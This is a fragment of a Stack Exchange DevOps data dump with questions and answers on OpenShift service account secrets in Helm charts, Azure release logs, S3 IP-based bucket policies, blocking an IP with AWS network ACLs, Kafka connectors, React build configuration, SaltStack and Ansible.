BY-SA 4.0" />
  <row Id="19508" PostHistoryTypeId="2" PostId="6096" RevisionGUID="3f87eb0f-3cd9-470c-9e64-a36e4910607b" CreationDate="2019-01-24T19:01:21.590" UserId="10599" Text="I am using helm charts to deploy some webhook handlers. The handlers need to connect to the cluster they are running on to deploy the configuration within it. It works but one step is tricky to move into the helm chart. When the chart makes the service account it gives it a randomly named secret:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ oc describe sa sa-build-webhook-realworld&#xD;&#xA;Name:                sa-build-webhook-realworld&#xD;&#xA;Namespace:           your-eng2&#xD;&#xA;Labels:              app=sa-build-webhook-realworld&#xD;&#xA;Annotations:         &lt;none&gt;&#xD;&#xA;Image pull secrets:  sa-build-webhook-realworld-dockercfg-4qz9g&#xD;&#xA;Mountable secrets:   &lt;b&gt;sa-build-webhook-realworld-token-bqtnw&lt;/b&gt;&#xD;&#xA;                     sa-build-webhook-realworld-dockercfg-4qz9g&#xD;&#xA;Tokens:              sa-build-webhook-realworld-token-bqtnw&#xD;&#xA;                     sa-build-webhook-realworld-token-k7lq8&#xD;&#xA;Events:              &amp;lt;none&amp;gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I can grab that and set it on the deployment config with:&#xD;&#xA;&#xD;&#xA;    #https://codereview.stackexchange.com/a/212095/75693&#xD;&#xA;    SECRET_NAME=$(&#xD;&#xA;        oc describe sa sa-tag-realworld |&#xD;&#xA;        awk -F': *' '&#xD;&#xA;            $2  { KEY=$1 ; VALUE=$2;  }&#xD;&#xA;            !$2 {          VALUE=$1; }&#xD;&#xA;            KEY==&quot;Mountable secrets&quot; &amp;&amp; VALUE !~ /docker/ { print VALUE }&#xD;&#xA;        '&#xD;&#xA;    )&#xD;&#xA;    oc set volume dc/webhook-realworld \&#xD;&#xA;      --add --name=sa-secret-volume \&#xD;&#xA;      --mount-path=/sa-secret-volume \&#xD;&#xA;      --secret-name=$SECRET_NAME&#xD;&#xA;&#xD;&#xA;I am trying to see if there is a way to do this declaratively in the chart yaml that creates the `dc` and `sa` at the same time which is [here][1]. &#xD;&#xA;&#xD;&#xA;Is there a way to reference the generated service account secret from the deployment config in the chart?&#xD;&#xA;&#xD;&#xA;Or should I be trying to get helm/helmfile to do the command-line lookup as part of its work?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ocd-scm/ocd-builder-webhook/tree/master/ocd-builder-webhook/templates" ContentLicense="CC BY-SA 4.0" />
  <row Id="19509" PostHistoryTypeId="1" PostId="6096" RevisionGUID="3f87eb0f-3cd9-470c-9e64-a36e4910607b" CreationDate="2019-01-24T19:01:21.590" UserId="10599" Text="declaratively mount a service account secret in OpenShift" ContentLicense="CC BY-SA 4.0" />
  <row Id="19510" PostHistoryTypeId="3" PostId="6096" RevisionGUID="3f87eb0f-3cd9-470c-9e64-a36e4910607b" CreationDate="2019-01-24T19:01:21.590" UserId="10599" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19511" PostHistoryTypeId="2" PostId="6097" RevisionGUID="e7e4fcff-5974-4f46-b665-ab007f76e21b" CreationDate="2019-01-24T19:32:25.017" UserId="12025" Text="My security department has asked to ingest logs from Azure with the goal being to identity releases. The security team wants to be able to say:&#xD;&#xA;&#xD;&#xA;&gt; Hey, there was a release on mm/dd/yyyy at noon (because we see it in the Azure logs), show me the&#xD;&#xA;&gt; corresponding internal approval for that?&#xD;&#xA;&#xD;&#xA;I've been looking around in the [Azure Activity Log][1], but I can't seem to find anything related to releases, overwrites, or anything else that's clearly new-code being dropped onto a PaaS instance.&#xD;&#xA;&#xD;&#xA;Like I'm pretty sure there was a release (devops build/release, pushed the code to a Paas) during this timeframe but I'm not seeing it. &#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Is there a way to do this? Am I barking up the wrong tree?&#xD;&#xA;&#xD;&#xA;Edit: my little highlight there on the &quot;Write Event&quot; isn't related, just something that happened to a database at the time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://portal.azure.com/#blade/Microsoft_Azure_ActivityLog/&#xD;&#xA;  [2]: https://i.stack.imgur.com/7HeN4.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="19512" PostHistoryTypeId="1" PostId="6097" RevisionGUID="e7e4fcff-5974-4f46-b665-ab007f76e21b" CreationDate="2019-01-24T19:32:25.017" UserId="12025" Text="azure activity log, how to find releases" ContentLicense="CC BY-SA 4.0" />
  <row Id="19513" PostHistoryTypeId="3" PostId="6097" RevisionGUID="e7e4fcff-5974-4f46-b665-ab007f76e21b" CreationDate="2019-01-24T19:32:25.017" UserId="12025" Text="&lt;azure&gt;&lt;azure-devops&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19516" PostHistoryTypeId="2" PostId="6098" RevisionGUID="025353f2-54bc-4cd3-a267-165396b6927f" CreationDate="2019-01-25T05:12:32.620" UserId="11598" Text="please attach below policy to your AWS S3 Bucket.&#xD;&#xA;&#xD;&#xA;&gt; **Allow Access to Specific IP Addresses**&#xD;&#xA;&#xD;&#xA;     &lt;div class=&quot;code&quot;&gt;  &#xD;&#xA;     {  &#xD;&#xA;       &quot;Id&quot;: &quot;S3PolicyId1&quot;,  &#xD;&#xA;       &quot;Statement&quot;: [  &#xD;&#xA;         {  &#xD;&#xA;           &quot;Sid&quot;: &quot;IPDeny&quot;,  &#xD;&#xA;           &quot;Effect&quot;: &quot;Deny&quot;,  &#xD;&#xA;           &quot;Principal&quot;: {  &#xD;&#xA;             &quot;AWS&quot;: &quot;*&quot;  &#xD;&#xA;           },  &#xD;&#xA;           &quot;Action&quot;: &quot;s3:*&quot;,  &#xD;&#xA;           &quot;Resource&quot;: &quot;arn:aws:s3:::bucket/*&quot;,  &#xD;&#xA;           &quot;Condition&quot;: {  &#xD;&#xA;             &quot;IpAddress&quot;: {  &#xD;&#xA;               &quot;aws:SourceIp&quot;: &quot;54.240.143.188/32&quot;  &#xD;&#xA;             }  &#xD;&#xA;           }  &#xD;&#xA;         }  &#xD;&#xA;       ]  &#xD;&#xA;     }  &#xD;&#xA;     &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&gt; **Restrict Access to Specific IP Addresses**&#xD;&#xA;&#xD;&#xA;    {  &#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,  &#xD;&#xA;      &quot;Id&quot;: &quot;S3PolicyId1&quot;,  &#xD;&#xA;      &quot;Statement&quot;: [  &#xD;&#xA;       {  &#xD;&#xA;        &quot;Sid&quot;: &quot;IPAllow&quot;,  &#xD;&#xA;        &quot;Effect&quot;: &quot;Allow&quot;,  &#xD;&#xA;        &quot;Principal&quot;: &quot;*&quot;,  &#xD;&#xA;        &quot;Action&quot;: &quot;s3:*&quot;,  &#xD;&#xA;        &quot;Resource&quot;: &quot;arn:aws:s3:::bucket/*&quot;,  &#xD;&#xA;        &quot;Condition&quot;: {  &#xD;&#xA;          &quot;NotIpAddress&quot;: {&quot;aws:SourceIp&quot;: &quot;54.240.143.188/32&quot;}   &#xD;&#xA;        }   &#xD;&#xA;       }   &#xD;&#xA;      ]  &#xD;&#xA;     }" ContentLicense="CC BY-SA 4.0" />
  <row Id="19517" PostHistoryTypeId="5" PostId="6098" RevisionGUID="39b9942b-eb30-4d51-829f-0c6e0e55ebc7" CreationDate="2019-01-25T05:17:53.623" UserId="11598" Comment="deleted 4 characters in body" Text="please attach below policy to your AWS S3 Bucket.&#xD;&#xA;&#xD;&#xA;&gt; **Allow Access to Specific IP Addresses**&#xD;&#xA;&#xD;&#xA;     &lt;div class=&quot;code&quot;&gt;  &#xD;&#xA;     {  &#xD;&#xA;       &quot;Id&quot;: &quot;S3PolicyId1&quot;,  &#xD;&#xA;       &quot;Statement&quot;: [  &#xD;&#xA;         {  &#xD;&#xA;           &quot;Sid&quot;: &quot;IPDeny&quot;,  &#xD;&#xA;           &quot;Effect&quot;: &quot;Deny&quot;,  &#xD;&#xA;           &quot;Principal&quot;: {  &#xD;&#xA;             &quot;AWS&quot;: &quot;*&quot;  &#xD;&#xA;           },  &#xD;&#xA;           &quot;Action&quot;: &quot;s3:*&quot;,  &#xD;&#xA;           &quot;Resource&quot;: &quot;arn:aws:s3:::bucket/*&quot;,  &#xD;&#xA;           &quot;Condition&quot;: {  &#xD;&#xA;             &quot;IpAddress&quot;: {  &#xD;&#xA;               &quot;aws:SourceIp&quot;: &quot;54.240.143.188/32&quot;  &#xD;&#xA;             }  &#xD;&#xA;           }  &#xD;&#xA;         }  &#xD;&#xA;       ]  &#xD;&#xA;     }  &#xD;&#xA;     &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&gt; **Deny Access to Specific IP Addresses**&#xD;&#xA;&#xD;&#xA;    {  &#xD;&#xA;      &quot;Version&quot;: &quot;2012-10-17&quot;,  &#xD;&#xA;      &quot;Id&quot;: &quot;S3PolicyId1&quot;,  &#xD;&#xA;      &quot;Statement&quot;: [  &#xD;&#xA;       {  &#xD;&#xA;        &quot;Sid&quot;: &quot;IPAllow&quot;,  &#xD;&#xA;        &quot;Effect&quot;: &quot;Allow&quot;,  &#xD;&#xA;        &quot;Principal&quot;: &quot;*&quot;,  &#xD;&#xA;        &quot;Action&quot;: &quot;s3:*&quot;,  &#xD;&#xA;        &quot;Resource&quot;: &quot;arn:aws:s3:::bucket/*&quot;,  &#xD;&#xA;        &quot;Condition&quot;: {  &#xD;&#xA;          &quot;NotIpAddress&quot;: {&quot;aws:SourceIp&quot;: &quot;54.240.143.188/32&quot;}   &#xD;&#xA;        }   &#xD;&#xA;       }   &#xD;&#xA;      ]  &#xD;&#xA;     }" ContentLicense="CC BY-SA 4.0" />
  <row Id="19521" PostHistoryTypeId="2" PostId="6100" RevisionGUID="b88d7240-0a98-4f60-9e8c-6d73c75e19f0" CreationDate="2019-01-25T10:05:44.333" UserId="11797" Text="Our server being hammered by traffic from some particular IP. It was causing a 20x increase in traffic to some URLs. So I wanted to block all traffic from that single IP. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19522" PostHistoryTypeId="1" PostId="6100" RevisionGUID="b88d7240-0a98-4f60-9e8c-6d73c75e19f0" CreationDate="2019-01-25T10:05:44.333" UserId="11797" Text="How to Block Traffic From a Single IP in AWS" ContentLicense="CC BY-SA 4.0" />
  <row Id="19523" PostHistoryTypeId="3" PostId="6100" RevisionGUID="b88d7240-0a98-4f60-9e8c-6d73c75e19f0" CreationDate="2019-01-25T10:05:44.333" UserId="11797" Text="&lt;amazon-web-services&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19525" PostHistoryTypeId="2" PostId="6101" RevisionGUID="4da2e82b-3562-4913-a811-30c6f31d1850" CreationDate="2019-01-25T10:21:15.893" UserId="9623" Text="Activity Logs can only able to show the resource level logs like creating a resources,deleting a resources modify the SKU of the resources etc,&#xD;&#xA;&#xD;&#xA;Assuming from your question you are saying web app deployment from azure devops,which is more like a deployment of code to an existing webapp which will not be covered by activity logs. You need to go to that azure app service then you can that deployment details in `Deployment Center`&#xD;&#xA;&#xD;&#xA;![](https://docs.microsoft.com/en-us/azure/app-service/media/app-service-continuous-deployment/disable.png)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19526" PostHistoryTypeId="2" PostId="6102" RevisionGUID="fe6de7b4-8135-40e2-9554-fbf4e3be5894" CreationDate="2019-01-25T10:21:35.907" UserId="11598" Text="Yes, we can block traffic from single IP or IP range. Please follow below steps to do this&#xD;&#xA;&#xD;&#xA;&gt;Open **VPC** dashboard&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&gt;Open the **Network ACLs** view&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&gt;Open the ACL editor&#xD;&#xA;&#xD;&#xA;1. Select the subnet to which your EC2 instances or load balancers are connected.&#xD;&#xA;&#xD;&#xA;2. Click **Inbound Rules**&#xD;&#xA;&#xD;&#xA;3. Click **Edit**&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&gt;Add a rule to block the traffic/IP&#xD;&#xA;&#xD;&#xA;You will now see the ACL editor. On the last row, you can add a new rule.&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;Here is how you should fill out the fields:&#xD;&#xA;&#xD;&#xA;#Rule&#xD;&#xA;Use any number less than 100, which is the number of the default accept-all rule. This is important because rules are evaluated in order, and your rule needs to come before the default.&#xD;&#xA;&#xD;&#xA;#Type&#xD;&#xA;Select “All traffic” or Particular Protocol which you want to Block&#xD;&#xA;&#xD;&#xA;#Source&#xD;&#xA;The CIDR you want to block. To match a single IP address, enter it here and append /32. For example, I blocked `22.87.45.187/32`&#xD;&#xA;&#xD;&#xA;#Allow/Deny&#xD;&#xA;Select “DENY”&#xD;&#xA;&#xD;&#xA;Now **click Save** and you should see the updated rules table.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/4FQ46.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/AIfeO.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/n81I6.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kF4qy.png&#xD;&#xA;&#xD;&#xA;Fore more details visit https://www.serverkaka.com/2018/05/block-traffic-from-single-ip-in-aws.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="19527" PostHistoryTypeId="2" PostId="6103" RevisionGUID="13619320-8d05-4938-a794-c625c2389e9d" CreationDate="2019-01-25T10:28:16.257" UserId="12036" Text="Our team is developing Confluent/Kafka Source Connector-plugins. &#xD;&#xA;&#xD;&#xA;Do you have any ideas on how to install/upgrade the plugins? How is the flow (git -&gt; Jenkins -&gt; running Source Connector) supposed to look on-prem?&#xD;&#xA;&#xD;&#xA;We use Confluent on Kubernetes which complicates things further.&#xD;&#xA;&#xD;&#xA;PS. We are required by law to not use cloud solutions." ContentLicense="CC BY-SA 4.0" />
  <row Id="19528" PostHistoryTypeId="1" PostId="6103" RevisionGUID="13619320-8d05-4938-a794-c625c2389e9d" CreationDate="2019-01-25T10:28:16.257" UserId="12036" Text="Flow for Confluent Plugins on Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="19529" PostHistoryTypeId="3" PostId="6103" RevisionGUID="13619320-8d05-4938-a794-c625c2389e9d" CreationDate="2019-01-25T10:28:16.257" UserId="12036" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;kubernetes&gt;&lt;kafka&gt;&lt;jenkins-x&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19531" PostHistoryTypeId="5" PostId="4255" RevisionGUID="3b948587-8011-4fea-9024-fc9cd58be16b" CreationDate="2019-01-25T11:51:28.227" UserId="11278" Comment="minor spelling edit" Text="Hope this question is not too theoretical or broad ...&#xD;&#xA;&#xD;&#xA;We are working on a big Java project where we use JUnit tests. Our Jenkins helps us to monitor the code coverage and shows us the progress we make with this.&#xD;&#xA;&#xD;&#xA;But there seems to be something lacking here. In our case, one of the apps results in a zip file with data files generated based on different source files.&#xD;&#xA;&#xD;&#xA;All code to generate these data files is covered, but that doesn't tell us if the content of the generated files itself is OK. Is this just a matter of generating additional JUnit tests and rely on the knowledge of the team to know what needs to be tested? Or can this be controlled and monitored in some way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19532" PostHistoryTypeId="24" PostId="4255" RevisionGUID="3b948587-8011-4fea-9024-fc9cd58be16b" CreationDate="2019-01-25T11:51:28.227" Comment="Proposed by 11278 approved by -1 edit id of 922" ContentLicense="CC BY-SA 4.0" />
  <row Id="19533" PostHistoryTypeId="5" PostId="4255" RevisionGUID="e7cf89e3-6798-4adf-8f59-7a5128416f61" CreationDate="2019-01-25T11:51:28.227" UserId="40" Comment="remove noise" Text="&#xD;&#xA;We are working on a big Java project where we use JUnit tests. Our Jenkins helps us to monitor the code coverage and shows us the progress we make with this.&#xD;&#xA;&#xD;&#xA;But there seems to be something lacking here. In our case, one of the apps results in a zip file with data files generated based on different source files.&#xD;&#xA;&#xD;&#xA;All code to generate these data files is covered, but that doesn't tell us if the content of the generated files itself is OK. Is this just a matter of generating additional JUnit tests and rely on the knowledge of the team to know what needs to be tested? Or can this be controlled and monitored in some way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19540" PostHistoryTypeId="2" PostId="6105" RevisionGUID="fd18d83d-cf90-4ed7-b133-c5accb126263" CreationDate="2019-01-26T03:41:03.000" UserId="405" Text="At the beginning of each hour that a spot instance is running (instance hour, not wall-clock hour), the current spot price for instances of that type and availability zone is captured, and you pay that price for that hour.  The next hour, and each hour after that, the process repeats.  If the market price rises above your bid while the instance is running, the spot instance is terminated, but not sooner than 2 minutes after the price shifts.  What happens after that depends on whether the spot request was persistent and how you configured termination/hybernation behavior. &#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-spot-instances.html#spot-pricing&#xD;&#xA;&#xD;&#xA;Spot instances can also be termimated at any time without a price change, if the capacity is no longer available, such as can happen due to an increase in the number of on-demand instances, causing the size of the available spot pool to be reduced.  Available capacity changes do not necessarily correlate with an immediate change in the market price.  This did happen prior to the [change in the spot price algorithm in late 2017](https://aws.amazon.com/blogs/aws/amazon-ec2-update-streamlined-access-to-spot-capacity-smooth-price-changes-instance-hibernation/) but spot price fluctuations are now dampened -- more loosely coupled to demand -- to prevent the sometimes dramatic price volatility (and presumably some market gaming) that occured with the old algorithm." ContentLicense="CC BY-SA 4.0" />
  <row Id="19541" PostHistoryTypeId="5" PostId="6077" RevisionGUID="42b58b0e-860e-4b5f-bf2f-0496b7095267" CreationDate="2019-01-26T03:48:46.433" UserId="47" Comment="improved readability " Text="You could use the same tools used in Trunk Based Development (TBD) to carry work-in-progress in the trunk (the only non-release TBD branch with a longer lifespan):&#xD;&#xA;&#xD;&#xA;- [tag:feature-toggles]/[tag:feature-flags]&#xD;&#xA;- [branch by abstraction][1]:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Branch by Abstraction&quot; is a technique [\[1\]][2] for making a&#xD;&#xA;&gt; large-scale change to a software system in gradual way that allows you&#xD;&#xA;&gt; to release the system regularly while the change is still in-progress.&#xD;&#xA;&#xD;&#xA;These would allow merging a feature in develop/master at any time, without the feature being actually (completed/functional and) enabled. &#xD;&#xA;&#xD;&#xA;If technically these are implemented using configurable means then at any time the software can be tested both with and without a feature enabled, simply by flipping the config flag in the respective test environment. Otherwise special builds may be needed to enable them (still a lot easier than doing a branch merge with the feature's full/partial code).&#xD;&#xA;&#xD;&#xA;And you could then run all your feature testing in develop/master to get your features enabled, one at a time.&#xD;&#xA;&#xD;&#xA;But if you go in this direction - why would you even struggle with git_flow and run into all these problems? Just go TBD and CI/CD all the way :) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/BranchByAbstraction.html&#xD;&#xA;  [2]: https://martinfowler.com/bliki/BranchByAbstraction.html#footnote-coin" ContentLicense="CC BY-SA 4.0" />
  <row Id="19542" PostHistoryTypeId="2" PostId="6106" RevisionGUID="dd6378ba-fe6a-45f7-bf37-b84cea676ac2" CreationDate="2019-01-26T06:31:00.083" UserId="12049" Text="ers!&#xD;&#xA;&#xD;&#xA;I am trying to connect a webhook from GitLab (external standalone) to Jenkins (a pod on Openshift)&#xD;&#xA;However, when anyone tries to log onto Jenkins, they are redirected to Openshift first, asked to provide their credentials, then they are provided with an OAuth and is redirected back to Jenkins.&#xD;&#xA;&#xD;&#xA;So when GitLab attempts to alert Jenkins of the new build (pushed by developers), it fails to pass through this OAuth phase.&#xD;&#xA;&#xD;&#xA;Any ideas how to workaround this?&#xD;&#xA;&#xD;&#xA;*NOTE: Yes, I am aware we can attach GitLab's webhook onto Openshift directly... but I don't want to do this because Openshift's Jenkinsfile lacks the capabilities of retrieving the &quot;branch name&quot; that was pushed by the developers* &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19543" PostHistoryTypeId="1" PostId="6106" RevisionGUID="dd6378ba-fe6a-45f7-bf37-b84cea676ac2" CreationDate="2019-01-26T06:31:00.083" UserId="12049" Text="How to handle Webhook Endpoint that is behind an OAuth Redirect?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19544" PostHistoryTypeId="3" PostId="6106" RevisionGUID="dd6378ba-fe6a-45f7-bf37-b84cea676ac2" CreationDate="2019-01-26T06:31:00.083" UserId="12049" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19545" PostHistoryTypeId="2" PostId="6107" RevisionGUID="653ea7b3-bd2c-45f6-8370-536e178baa0c" CreationDate="2019-01-26T08:54:13.430" UserId="10599" Text="This is a general issue with react apps that is independent of what CI/CD stack you use that is discussed at https://stackoverflow.com/questions/49975735/rendering-an-environment-variable-to-the-browser-in-a-react-js-redux-production&#xA;&#xA;With the Azure family of CI/CD products it is expected you create a release artefact then release that same artefact into environments using a release workflow. That is a typical best practice and expected by ”enterprise” release management processes. The general manifesto of native cloud apps is 12factor.net, and it also advises to ”build once, deploy many times, configured by environment variables”. So its a bit of a surprise to me that the best practices isn't really known in the react community so you have to hunt around for solutions. &#xA;&#xA;In my case at that link above I didn't want to make deployments of our react apps different from our backend microservices where we have ”build once, run anywhere”. So we chanced the js code to fetch env vars from the server at page load. &#xA;&#xA;In your case you do have a release workflow where you can use all the same built-in and marketplace tasks of a build workflow. This means its straight forward to add a front-end compile task to the release workflows. &#xA;&#xA;On the downside a frontend build of a large react app can take a lot of time and a lot of memory. Memory probably won't be an issue for you. The time taken will be a little annoying. Yet the approach wouldn't be invasive so I would recommend it may be the least effort to set up and the easiest for colleagues to troubleshoot and maintain in the future as long as you have a stable frontend build. Historically npm was less reliable than other frontend builds at giving the exact same lib versions every time. So you need to study that aspect and ensure that you are certain that every time you run the frontend build it is guaranteed to use the same exact dependency versions. &#xA;&#xA;&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19546" PostHistoryTypeId="5" PostId="6107" RevisionGUID="60e3153c-7593-4bce-aa51-84afcdea4e47" CreationDate="2019-01-26T09:02:18.397" UserId="10599" Comment="added 18 characters in body" Text="This is a general issue with react apps that is independent of what CI/CD stack you use that is discussed at https://stackoverflow.com/questions/49975735/rendering-an-environment-variable-to-the-browser-in-a-react-js-redux-production&#xA;&#xA;With the Azure family of CI/CD products it is expected you create a release artefact then release that same artefact into environments using a release workflow. That is a typical best practice and expected by ”enterprise” release management processes. The general manifesto of native cloud apps is 12factor.net, and it also advises to ”build once, deploy many times, configured by environment variables”. So its a bit of a surprise to me that the best practices isn't really known in the react community so you have to hunt around for solutions. &#xA;&#xA;In my case at that link above I didn't want to make deployments of our react apps different from our backend microservices where we have ”build once, run anywhere”. So we chanced the js code to fetch env vars from the server at page load. &#xA;&#xA;In your case you do have a release workflow where you can use all the same built-in and marketplace tasks of a build workflow. This means its straight forward to add a front-end compile task to the release workflows. &#xA;&#xA;On the downside a frontend build of a large react app can take a lot of time and a lot of memory. Memory probably won't be an issue for you. The time taken will be a little annoying. Yet the approach wouldn't be invasive so I would recommend it may be the least effort to set up and the easiest for colleagues to troubleshoot and maintain in the future as long as you have a stable frontend build. Historically npm was less reliable than other frontend builds at giving the exact same lib versions every time (e.g., npm vs. yarn). So you need to study that aspect and ensure that you are certain that every time you run the frontend build it is guaranteed to use the same exact dependency versions. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19547" PostHistoryTypeId="5" PostId="6107" RevisionGUID="f9b25305-b2b2-435a-81b1-3bb07c46fc70" CreationDate="2019-01-26T09:16:37.970" UserId="10599" Comment="added 249 characters in body; deleted 1 character in body; added 25 characters in body" Text="This is a general issue with react apps that is independent of what CI/CD stack you use that is discussed at https://stackoverflow.com/questions/49975735/rendering-an-environment-variable-to-the-browser-in-a-react-js-redux-production&#xA;&#xA;With the Azure family of CI/CD products it is expected you create a release artefact then release that same artefact into environments using a release workflow. That is a typical best practice and expected by ”enterprise” release management processes. The general manifesto of native cloud apps is 12factor.net, and it also advises to ”build once, deploy many times, configured by environment variables”. So its a bit of a surprise to me that the best practices isn't really known in the react community so you have to hunt around for solutions. &#xA;&#xA;In my case at that link above I didn't want to make deployments of our react apps different from our backend microservices where we have ”build once, run anywhere”. So we chanced the js code to fetch env vars from the server at page load. Also with this approach and by using containers we are guaranteed to always run the same front end libraries everywhere even if the front end build tool is misconfigured or buggy in terms of not always using the exact same dependency on every run. &#xA;&#xA;In your case you do have a release workflow where you can use all the same built-in and marketplace tasks of a build workflow. This means its straight forward to add a front-end compile task to the release workflows. &#xA;&#xA;On the downside a frontend build of a large react app can take a lot of time and a lot of memory. Memory probably won't be an issue for you. The time taken will be a little annoying. Yet the approach wouldn't be invasive so I would recommend it may be the least effort to set up and the easiest for colleagues to troubleshoot and maintain in the future as long as you have a stable frontend build. Historically npm was less reliable than other frontend builds at giving the exact same lib versions every run for the same package.json (e.g., npm vs. yarn). So you need to study that aspect and ensure that you are certain that every time you run the frontend build it is guaranteed to use the same exact dependency versions. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19548" PostHistoryTypeId="2" PostId="6108" RevisionGUID="8a33d61c-a946-43df-987a-cc7a79775c6c" CreationDate="2019-01-26T10:34:39.770" UserId="12051" Text="I have a several pillars and I am trying to merge them in the same jinja variable&#xD;&#xA;&#xD;&#xA;    {%- import_yaml &quot;server_list_de.yaml&quot; as servers %}&#xD;&#xA;    {%- import_yaml &quot;server_list_uk.yaml&quot; as servers_uk %}&#xD;&#xA;    {%- servers.update(servers_uk) %}&#xD;&#xA;&#xD;&#xA;but I've got following error:&#xD;&#xA;&#xD;&#xA;    File &quot;/usr/lib/python2.7/dist-packages/salt/utils/context.py&quot;, line 211, in __getitem__&#xD;&#xA;    return self._dict()[key]&#xD;&#xA;    KeyError: '_errors'" ContentLicense="CC BY-SA 4.0" />
  <row Id="19549" PostHistoryTypeId="1" PostId="6108" RevisionGUID="8a33d61c-a946-43df-987a-cc7a79775c6c" CreationDate="2019-01-26T10:34:39.770" UserId="12051" Text="Saltstack Jinja template pillar merge" ContentLicense="CC BY-SA 4.0" />
  <row Id="19550" PostHistoryTypeId="3" PostId="6108" RevisionGUID="8a33d61c-a946-43df-987a-cc7a79775c6c" CreationDate="2019-01-26T10:34:39.770" UserId="12051" Text="&lt;salt&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19551" PostHistoryTypeId="2" PostId="6109" RevisionGUID="b4dc22e7-550d-48e9-a561-8ed4ba1c1c19" CreationDate="2019-01-26T17:50:45.203" UserId="12057" Text="Ansible is great for deploying infrastructure, but it requires you to have a control machine. This adds the burden of manually setting it up and securing it, and then pulling down your playbooks and making connections out to your servers.&#xD;&#xA;&#xD;&#xA;I would like a way to run my playbooks 'in the cloud' rather than on my own system. I am aware the commercial offering Ansible Tower, however as far as I can see this is not suitable for personal use.&#xD;&#xA;&#xD;&#xA;One option is to run them using a hosted CI tool such as Travis-CI or Gitlab CI, however this feels wrong from a security point of view, as somebody who gained access to my Travis/GitLab accounts would then have access to all of my servers.&#xD;&#xA;&#xD;&#xA;Which solutions are out there that meet this requirement? Does my GitLab CI proposal have severe security problems or is it an accepted solution?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19552" PostHistoryTypeId="1" PostId="6109" RevisionGUID="b4dc22e7-550d-48e9-a561-8ed4ba1c1c19" CreationDate="2019-01-26T17:50:45.203" UserId="12057" Text="How can I eliminate the need for an Ansible control machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19553" PostHistoryTypeId="3" PostId="6109" RevisionGUID="b4dc22e7-550d-48e9-a561-8ed4ba1c1c19" CreationDate="2019-01-26T17:50:45.203" UserId="12057" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19554" PostHistoryTypeId="2" PostId="6110" RevisionGUID="1edfe885-bea7-475f-8cc4-89ab430a4607" CreationDate="2019-01-26T21:18:42.943" UserId="12001" Text="We are about to begin our journey with containers and I am wondering if we still need to utilize something like Chef, Ansible, Terraform, etc. to ensure that our infrastructure is properly maintained? &#xD;&#xA;&#xD;&#xA;Since containers simply sit on that environment my assumption is that we will still need to properly maintain our configuration idempotence but how is this going to differ with us using containers?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19555" PostHistoryTypeId="1" PostId="6110" RevisionGUID="1edfe885-bea7-475f-8cc4-89ab430a4607" CreationDate="2019-01-26T21:18:42.943" UserId="12001" Text="If we are using containers do we still need to worry about configuration management at an infrastructure level?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19556" PostHistoryTypeId="3" PostId="6110" RevisionGUID="1edfe885-bea7-475f-8cc4-89ab430a4607" CreationDate="2019-01-26T21:18:42.943" UserId="12001" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;&lt;configuration-management&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 4.0" />
